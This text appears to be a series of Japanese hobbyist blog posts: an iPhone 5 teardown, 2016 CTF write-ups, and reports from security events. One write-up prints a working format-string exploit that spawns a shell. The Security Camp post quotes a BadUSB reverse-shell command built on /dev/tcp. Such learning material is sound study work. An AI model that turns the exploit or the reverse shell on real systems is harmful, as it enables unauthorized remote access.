iPhone 5を分解してみた話
はじめに
4年前に契約したiPhone 5を、分解してみた。
1ヶ月前から液晶が割れて黒いシミのようなものが出ていて、
1週間前からタッチパネルが反応しなくなってきていた。
自分で修理するキットもあるんだなー、と調べながら考えていたが、
このまま使い続けるのもアレなので、今日発売されたiPhone 7に乗り換えた。
もう使わない&使えない状態のiPhone 5をバラして、中身を観察してみた。
バラした後
ちなみに今はこんな感じ
リチウムイオンポリマーバッテリーが殆どのスペースを占領している。
ちなみにだが、この状態でもiTunesで認識されているし、MacのFaceTimeでiPhoneを使って電話をかけることも出来た。
カメラモジュール小さいなー
デジタイザーも薄い
おわりに
Appleが公式で出している資料とかないかな。
詳細とか気になる
Tokyo Westerns/MMA CTF 2nd 2016 writeup
はじめに
RinGorillaというチームで、参加しました。
530ptの99位で、僕が通したsubmitは、60ptです。
と言っても、welcomeの10ptがあるので、実質1問だけです。
他のメンバーに申し訳ない。。。
解けたjudgementと、他のwriteupを見ながら解いたgreetingの2問のwriteupです。
judgement
事前調査。
% file judgement judgement: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID % checksec --file judgement [*] '/home/hama/ctf/twctf/judgement' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [hama@vm_ubuntu-x86_64] ~/
main関数の前に、load_flagという関数が呼ばれており、flagが読まれているよう。
flagのあるメモリのアドレスは、0x804a0a0だった。
スタックに、0x804a0a0があれば、FSBで読み出すことができる。
printf実行直前で、0x804a0a0を検索してみると、スタックに積まれていることがわかる。
gdbで、0x804a0a0のオフセットを確認したら、28と32だった。
gdb-peda$ searchmem 0x804a0a0 Searching for '0x804a0a0' in: None ranges Found 7 results, display max 7 items: judgement : 0x80486e6 (<init+89>: mov al,ds:0x8d0804a0) judgement : 0x80487ab (<main+128>: mov al,ds:0x8d0804a0) judgement : 0x80496e6 --> 0x804a0a0 ("TWCTF{dummy}") judgement : 0x80497ab --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb00 --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb10 --> 0x804a0a0 ("TWCTF{dummy}") [stack] : 0xffffdb44 --> 0x804a0a0 ("TWCTF{dummy}")
% nc pwn1.chal.ctf.westerns.tokyo 31729 Flag judgment system Input flag >> %32$s TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag...
greeting
競技中に解けなかった。
どこのアドレスを書き換えればいいのか分からずタイムアップ。
% file greeting greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[ [hama@vm_ubuntu-x86_64] ~/ctf/twctf/greeting % checksec --file ./greeting [*] '/home/hama/ctf/twctf/greeting/greeting' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE
main関数の処理が終わると、_fini_arrayにあるアドレスの処理が実行される。
この_fini_arrayの値を書き換えてやれば、main関数終了後に、任意の処理を実行可能となっている。
_fini_addrをmainに書き換える。また、strlenのGOTを、systemに書き換える。
入力された文字列の長さを得るために、strlen(input)となっているので、system("/bin/sh")となるようにする。
二度目のmainの処理で、入力として"/bin/sh"を与える。
以下が、そのexploitのコード。
from pwn import * from libformatstr import FormatStr host = 'pwn2.chal.ctf.westerns.tokyo' port = 16317 _fini_array_addr = 0x08049934 main_addr = 0x080485ed system_addr = 0x08048490 strlen_got_addr = 0x8049a54 offset = 12 padding = 2 ''' 20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4 080485ed <main>: 80485ed: 55 push ebp 80485ee: 89 e5 mov ebp,esp 80485f0: 83 e4 f0 and esp,0xfffffff0 08048490 <system@plt>: 8048490: ff 25 48 9a 04 08 jmp DWORD PTR ds:0x8049a48 8048496: 68 28 00 00 00 push 0x28 804849b: e9 90 ff ff ff jmp 8048430 <_init+0x2c> 080484c0 <strlen@plt>: 80484c0: ff 25 54 9a 04 08 jmp DWORD PTR ds:0x8049a54 80484c6: 68 40 00 00 00 push 0x40 80484cb: e9 60 ff ff ff jmp 8048430 <_init+0x2c> ''' p = FormatStr() p[_fini_array_addr] = main p[strlen_got_addr] = system r = remote(host, port) print r.recv() r.sendline(p.payload(offset, padding, len("Nice to meet you, "))) print r.recv() r.sendline("/bin/sh") r.interactive()
% python exploit.py [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done Hello, I'm nao! Please tell me your name... Nice to meet you, [*] Switching to interactive mode Please tell me your name... $ cat flag TWCTF{51mpl3_FSB_r3wr173_4nyw4r3} $ [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
おわりに
pwn初心者なので、greetingは勉強になった。
今回から、pwn系のtoolを使い始めたので、慣れていきたい。
運営のTokyo Westernsに感謝!
camp ctf 2016 writeup -ジャンルが分からない問題編 part 1-
はじめに
前回の記事に引き続き、セキュリティキャンプで開催されたCTFのwriteupです。
今回は、問題のジャンルが判別できなかったものです。
secret.zip
/home/pi/problems/に、いくつかのファイルが置いてある。
その中の一つで、forensic系の問題。
解凍して、種類を確認してみる。
$ unzip secret.zip Archive: secret.zip inflating: camp_forensic.bin $ file camp_forensic.bin camp_forensic.bin: Linux rev 1.0 ext4 filesystem data, UUID=1da7d7fb-a2a2-405b-95ee-c506c875aa7e (needs journal recovery) (extents) (huge files)
ext4なので、マウントしてみる。中身は、以下の通りだった。flagディレクトリの中にflagファイル、隠しディレクトリの.keysの中にid_rsa.pubといった感じ(lost+foundは知らない。見れない理由は分からないけど、解いていく過程で必要なかった)
各ファイルの中身は以下の通り。
flagファイルはダミー。id_rsa.pubは、名前とファイルの形式から、RSAの公開鍵だと思われる。
$ sudo mount -o loop camp_forensic.bin /mnt/ $ tree -a /mnt/ /mnt/ ├── flag │ └── flag ├── .keys │ └── id_rsa.pub └── lost+found [error opening dir] $ cat /mnt/flag/flag FLAG{dummy} $ cat /mnt/.keys/id_rsa.pub -----BEGIN PUBLIC KEY----- MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky YSP6jQIDAQAB -----END PUBLIC KEY-----
ここで、消去されたファイルがないか探してみる。あった。
$ sudo extundelete --after 1470068040 --restore-all ./camp_forensic.bin Only show and process deleted entries if they are deleted on or after 1470068040 and before 9223372036854775807. NOTICE: Extended attributes are not restored. WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set. The partition should be unmounted to undelete any files without further data loss. If the partition is not currently mounted, this message indicates it was improperly unmounted, and you should run fsck before continuing. If you decide to continue, extundelete may overwrite some of the deleted files and make recovering those files impossible. You should unmount the file system and check it with fsck before using extundelete. Would you like to continue? (y/n) y Loading filesystem metadata ... 8 groups loaded. Loading journal descriptors ... 45 descriptors loaded. Searching for recoverable inodes in directory / ... 1 recoverable inodes found. Looking through the directory structure for deleted files ... 0 recoverable inodes still lost. % ls RECOVERED_FILES/ camp_forensic.bin secret.zip % tree -a RECOVERED_FILES RECOVERED_FILES └── flag └── flag.txt
中身は、暗号化されているようなので、復号する必要がある。
% cat RECOVERED_FILES/flag/flag.txt #J4?j?-?v=???R*E&???YH? % % xxd RECOVERED_FILES/flag/flag.txt 0000000: 0623 4a34 ff6a 9910 2da1 763d a2e7 e652 .#J4.j..-.v=...R 0000010: 042a 4526 8ab8 8259 48c7 1320 .*E&...YH..
ここで、最初に見つけたRSAの公開鍵を使うんだなと考える。鍵長も長くなさそうだしゴリ押しで行けるだろwという発想。
公開鍵のファイルから、eとNを取り出す。220bitなので、現実的時間内に、pとqを求めることができる。
% openssl rsa -text -modulus -pubin < id_rsa.pub Public-Key: (220 bit) Modulus: 0c:3c:3e:01:29:e2:fd:00:67:b8:a6:97:cb:56:6b: 7d:49:f7:da:6b:16:97:d9:32:61:23:fa:8d Exponent: 65537 (0x10001) Modulus=C3C3E0129E2FD0067B8A697CB566B7D49F7DA6B1697D9326123FA8D writing RSA key -----BEGIN PUBLIC KEY----- MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky YSP6jQIDAQAB -----END PUBLIC KEY-----
pとqは、1067720436041231358402956670029837と1206804386570390765714542811755649だった。
% msieve -q -v 0x0c3c3e0129e2fd0067b8a697cb566b7d49f7da6b1697d9326123fa8d Msieve v. 1.52 (SVN unknown) Wed Aug 31 21:40:02 2016 random seeds: e9b0fdb9 aae3203b factoring 1288529705845408357244049553359282722253970863715459988603183299213 (67 digits) searching for 15-digit factors commencing quadratic sieve (67-digit input) using multiplier of 13 using generic 32kb sieve core sieve interval: 12 blocks of size 32768 processing polynomials in batches of 17 using a sieve bound of 153941 (7152 primes) using large prime bound of 10621929 (23 bits) using trial factoring cutoff of 23 bits polynomial 'A' values have 8 factors restarting with 3567 full and 38233 partial relations 7753 relations (3567 full + 4186 combined from 38233 partial), need 7248 sieving complete, commencing postprocessing begin with 41800 relations reduce to 11350 relations in 2 passes attempting to read 11350 relations recovered 11350 relations recovered 8996 polynomials attempting to build 7753 cycles found 7753 cycles in 1 passes distribution of cycle lengths: length 1 : 3567 length 2 : 4186 largest cycle: 2 relations matrix is 7152 x 7753 (1.1 MB) with weight 215230 (27.76/col) sparse part has weight 215230 (27.76/col) filtering completed in 4 passes matrix is 6588 x 6652 (0.9 MB) with weight 178112 (26.78/col) sparse part has weight 178112 (26.78/col) commencing Lanczos iteration memory use: 0.9 MB lanczos halted after 106 iterations (dim = 6582) recovered 61 nontrivial dependencies prp34 factor: 1067720436041231358402956670029837 prp34 factor: 1206804386570390765714542811755649 elapsed time 00:00:01
あとはやるだけ。
private.keyの生成は、過去の記事を見てください。dを求めたら、後はスクリプト内の各パラメータを設定するだけ
hama.hatenadiary.jp
% openssl rsautl -decrypt -inkey private.key < flag.txt f0r3n51c515fun
camp ctf 2016 writeup -Earth編-
はじめに
セキュリティキャンプ全国大会2016中に開催されたctfのwriteupです。
まだ全部解いてないので、Earth(Crypto)だけのwriteupです。
ポートスキャンの結果
Earthが待ち受けているのは、10725番ポートだった。このポートに対してnetcatして、解いていく感じ。
% nmap 192.168.179.3 -p1-65535 Starting Nmap 7.12 ( https://nmap.org ) at 2016-08-29 20:51 JST Nmap scan report for 192.168.179.3 Host is up (0.013s latency). Not shown: 65530 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 10725/tcp open unknown 24154/tcp open unknown
1問目
見た感じrot13だと思ったので、pythonで確認。
% nc 192.168.179.3 10725 ---------------------------------------------------------------- Problem #1 SYNT{uryybpelcgbfreire} Challenge 1/3>
% python Python 2.7.10 (default, Oct 23 2015, 19:19:21) [GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> "SYNT{uryybpelcgbfreire}".decode("rot13") u'FLAG{hellocryptoserver}'
2問目
1問目のflagを入力して2問目へ。
rot13の次だから、換字式なんだろうなーと思い、大文字小文字のアルファベットを入力してみる。
Problem #2 KMZH{xbqofodmzxxnddnotqu} Challenge 1/3> abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY Wrong.. Challenge 2/3>
より換字式っぽさが出てきたので、適当に復号してみる。
# decrypto.py P = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ{}" C = "zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY{}" flag = "KMZH{xbqofodmzxxnddnotqu}" print "".join(P[C.index(q)] for q in flag) # FLAG{stepupclassiccipher}
ちなみにだが、この変換テーブルは接続するたびに変わっている。
3問目
2問目のflagを入力して、3問目へ。
16進数のような文字列が出てきた。
Problem #3 1fb53a2b241ad4b1219609143010d8b120890f0322 Challenge 1/3> AAAAAAAAAAAAAAAAAAAAAA 18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e23 Wrong..
そのままではASCIIコードとしては使えないので、xorしているんだろうな、と予測する。
1回の接続中にxorの鍵が変わることはないだろうと踏んで、AAA...を入力。出力結果からxorの鍵を求めて、それと出題をxorする。
q = "1fb53a2b241ad4b1219609143010d8b120890f0322".decode("hex") aaa = "18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e".decode("hex") flag = "" for i in range(len(d)): flag += chr((ord(aaa[i]) ^ ord("A") ) ^ ord(q[i])) print flag # FLAG{xorxorxorcrypto}
writeupを書いてる途中で気づいたが、鍵は8文字ぐらいで繰り返しになっている。
4問目
Problem #4 - RSA
やるだけ
---------------------------------------------------------------- Problem #4 - RSA p = 89763157488328820493828889999529349687515193829186446452191659847993832608188788728417088150112600782050523041398$ 3432801309883064874870881446698538363907 q = 113841038790428002844600998710560664858598146193863557129392399065993065441040086685388432151725491152653570885016 24031156542729241733486420090143766579357 e = 65537 C = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8c dcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7 c65ca3517d5bf6d7b5da3fb421 Answer(FLAG{...})>
def bits(integer): #Gets number of bits in integer result = 0 while integer: integer >>= 1 result += 1 return result def mod_pow(base, exponent, modulo=None): #Allows fast exponentation with and without moduli result = 1L if modulo == None: iteration = bits(exponent) while iteration >= 0: result *= result if (exponent >> iteration) & 1: result *= base iteration -= 1 else: firstModulus = base % modulo iteration = bits(exponent) while iteration >= 0: result = (result * result) % modulo if (exponent >> iteration) & 1: result = (result * firstModulus) % modulo iteration -= 1 return result def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) # ax = 1 mod m def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m p = 8976315748832882049382888999952934968751519382918644645219165984799383260818878872841708815011260078205052304139803432801309883064874870881446698538363907 q = 11384103879042800284460099871056066485859814619386355712939239906599306544104008668538843215172549115265357088501624031156542729241733486420090143766579357 e = 65537 c = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8cdcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7c65ca3517d5bf6d7b5da3fb421 phi = (p-1) * (q-1) n = p * q d = modinv(e, phi) m = mod_pow(c, d, n) print hex(m)[2:-1].decode("hex") # FLAG{didyoulearnrsa?}
全部回答すると、祝福が見れる。
Answer(FLAG{...})> FLAG{didyoulearnrsa?} Correct! ---------------------------------------------------------------- Congratulations! You solved all challenges!
おわりに
難易度自体は低めだったので、「早めに取り組めていたらなー」と後悔している。
やるだけだった。
mixi git challenge の感想
はじめに
mixi主催の「git challenge」に参加しました。
gitに関する問題を解いて競い合う感じのイベントです。
#mixi_git pic.twitter.com/0ejqSQQUwb
— hama (@hama7230) 2016年8月21日
競技内容
問題内容は公開しないように、とのことなので特に書くことはありません。
ただ、addとcommit、pushぐらいしか使ったことない僕では、全然ダメでした。
1ptしか取れず、辛かったです。相方がほとんどのポイントを入れてくれたので申し訳なかったです。
conflictの解決が全くできませんでした。
チュートリアルの時点で、着いていけてなかったので、挑戦していない問題の解説とか聞いても理解できませんでした。
gitの構造
ロクに問題が解けなかった(取っ掛かりさえ分からなかった)ので、最後の1時間で星5の問題に挑戦していました。
詳細は伏せますが、gitの仕組みを突いた問題でした。その過程で、色々と知見を得ることができたのが良かったです。
gitはファイルやディレクトリをobjectとして管理していること、objectの構造、objectが多いとpackされること、unpackの仕方、unpackの仕様や、pushするときの仕様などなどです。
ここを参考にしてました。
Git - Gitオブジェクト
実際に起こり得そうな問題では、どこで使えるのか分からないので、CTFで出ることを祈ってます。
終わりに
僕自身はダメダメでしたが、イベントはとても楽しかったです。
美味い飯!
美人事!
Octcatのステッカー!
最高ですね。
どうでもいいことなんですが、競技時間中の脳内BGMは「conflict」でした。帰りにゲーセン行ってチュウニズムでconflictやりました。
siromaru + cranky / conflict [Music Video]
conflictした pic.twitter.com/f6fLJcFLe6
— hama (@hama7230) 2016年8月21日
セキュリティキャンプ2016 全国大会 参加報告・感想
はじめに
8月13日時点で、書きかけです。
ちゃんとしたものは、院試が終わってからになります。
院試が終わりました。結果はどこかで報告してると思います。
seccamp CTFのwriteupは、SANSやらgit challengeが終わってから別記事として挙げます。
(2016/08/18)
チーム名は「一対三」と書いて、「ゔぃむのかち」と読みます。
チーム4人の中で、Vim派が3人、Emacs派が1人だったのが由来です。
参加した講義一覧
各講義内容に関しては、後で書きます
ハードウェアよりなのはご愛嬌。
専門講義1:1-C 公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~ 専門講義2:2-B 謎マシンでNetBSDのクロス開発体験 専門講義3:3-B フィジカル・リバースエンジニアリング入門 専門講義4:4-C オンラインゲームアタック&ディフェンスチャレンジ 専門講義5:5-B USBメモリからブートしてみよう 専門講義6:6-B AVRマイコンで作るBadUSB自作 専門講義7:7-C 遠隔操作マルウェアと標的型攻撃からの防衛
公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~
サイドチャネル攻撃を実践してみる講義。
サイドチャネル攻撃の学習用ボードを用いた演習で、RSAとAESの秘密鍵を解析した。
RSAは、計算する回路の違いから電圧に差が生じるので、オシロスコープを見ながら、鍵を推定した。
AESは、ノイズの影響が大きく、多量のサンプリングを取って解析した。サンプリングしたデータから、鍵を推定する過程は、元から用意されていたツールを使ったので、詳細は分からなかった。
サイドチャネル攻撃を知識としてしか知らなかったので、実践できたのがとても良かった。
謎マシンでNetBSDのクロス開発体験
VMでNetBSDを動作させ、その上でRaspberry Piで動作するカーネルをビルドした。
僕の環境では、カーネルを書き換えて動作させたところ、dhcpdあたりで処理が止まってしまった。
LANケーブルを繋がないと、正常に処理が進んでいくので、dhcpdに関するビルドが失敗もしくはバグだと思う。
Raspberry Piをbaremetalさせるときに、クロスコンパイルを整備したことがあるが、NetBSDだととても簡単にできた(そもそもデフォルトで揃っていた?)。
フィジカル・リバースエンジニアリング入門
よく分からない基盤を渡され、そこから解析をしていく講義。
まずは、基盤上にあるチップの型番を調べ、リファレンスシートが探し、リファレンスシートを読みながら、UARTやJTAGがないか探した。
実際に、UARTからログを抜き出し、どのような情報があるのか調査した。
ROMの開始アドレスやサイズなどを調べた。
オンラインゲームアタック&ディフェンスチャレンジ
この講義が一番辛かった。
「Node.jsわからん!Web無理!」以上です。
精進します。
USBメモリからブートしてみよう
USBのMBRに命令書き込んで、OSを介さずにHello World!する講義。
講義資料として頂いた本の表紙が可愛い。
自作エミュレータで学ぶx86アーキテクチャ コンピュータが動く仕組みを徹底理解!
- 作者: 内田公太,上川大介
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/08/28
- メディア: Kindle版
- この商品を含むブログを見る
AVRマイコンで作るBadUSB自作
AVRマイコンを使って、BadUSBを作ってみる講義。AVRマイコンは、PS/2キーボードのキー入力をエミュレートし、PS/2-USB変換アダプターでPCに接続するといった感じ。
Windowsに対して、電源を落とすBasUSBを作った。
「Alt + F4」と「 Enter」を押すだけ。
Linux(もしくはそれに準ずる感じのOS)に対して、リバースシェルを貼るBadUSBも作った。
「sh -i >& /dev/tcp/10.0.0.1/8080 0>&1」を入力するだけ。
他の参加者の作ったBadUSBを見て回って、キーボードをエミュレートしてるだけでも、色々な事ができる事を知った。
遠隔操作マルウェアと標的型攻撃からの防衛
個人的に雲の上の存在だと思っていた凌さんの講義。他の講師に関しては、名前聞いた事あるなーぐらいしか思わなかったが、凌さんにお会いできた時は感動した。そもそも実在したんだとさえ思った。
ShinoBotでのマルウェア体験や、RAT(Remote Access Trojan / Remote Administration Tool)の開発をした。
無限CDトレー開き最高!
tweetは、マルウェア体験中にwebカメラで撮影されていたもの。
【2016'夏の思い出】
— Shøta Shinogۜi ♾ (@Sh1n0g1) 2016年8月18日
セキュリティ・キャンプの講義でShinoBOT経由で撮られたWebカメラの画像。#seccamp pic.twitter.com/HQUY0sUE1K
seccamp CTF
結果は、3位。
競技時間中に解けたのは3問。
放置したのが2問。
競技中はノータッチだったけど、あとからやってみて解けたのが2問でした。
競技中、インターネットに接続できなくて無限に辛かった。
競技用のイメージが配布されるらしいので、ある程度解いたらwriteup書きます。
グループワーク
結果は、ナイスファイト賞
たぶん、投票数的に次点。
内容は、YouTuberによるITモラルを伝える動画の配信
会場の笑いを取れたので満足した。
結構いいアイディアだったなと自画自賛してるのは内緒
感想
たのしかった。
あと煽られすぎた。理由のない唐突なプロはやめて
さいごに
参加者、チューター、講師、運営の皆様方のおかげで、とても楽しく刺激的な5日間でした。
本当にありがとうございました!
来年はチューターとして参加できるように、どんどんアウトプットしていきたいです。
katagaitai CTF勉強会 #5 - 関東|med の感想
はじめに
中級者くらいの人 ではないけど、強くなりたい初心者。
プロによる勉強会なので、色々と学べるはずだと思い参加しました。
午前にcrypto、午後にpwnという2部構成。
どちらも、今の自分には難易度が高かった(特にtp)
いつかは、サクッと解けるようになりたいなぁ...
細かい内容自体は、いずれスライドが公開されるそうなので割愛。
crypto
まず、Merkle-Damgård構造の説明を受け、それに対する代表的攻撃手法であるlength-extensionを実践した。
あるハッシュ値から内部状態を割り出せれば、length-extensionが可能であるらしい。
次に、FastCallという、あるメッセージ(ファイル)から同じハッシュ値となる2つのメッセージ(ファイル)を出力するツールを使った。
MD5の衝突攻撃と呼ばれるそうで、MD5が同じでありながら、SHA1は異なるようなものが生成可能。(すごい)
parlorは院試終わったらやる!
pwn
tp(辛いpwn)を題材に、ヒープ系pwnの解き方と、sandboxの攻略方法を解説していた。
わからん!本当にわからん!
過去のkatagaitaiCTFの資料を読んで勉強します...
配布されたexploitを走らせると確かにフラグが取れたが、圧倒的知識不足で理解が追いつかなかった。
おわりに
katagaitaiCTF、5周年おめでとうございます!
(9時間近い勉強会は、kosigaitai)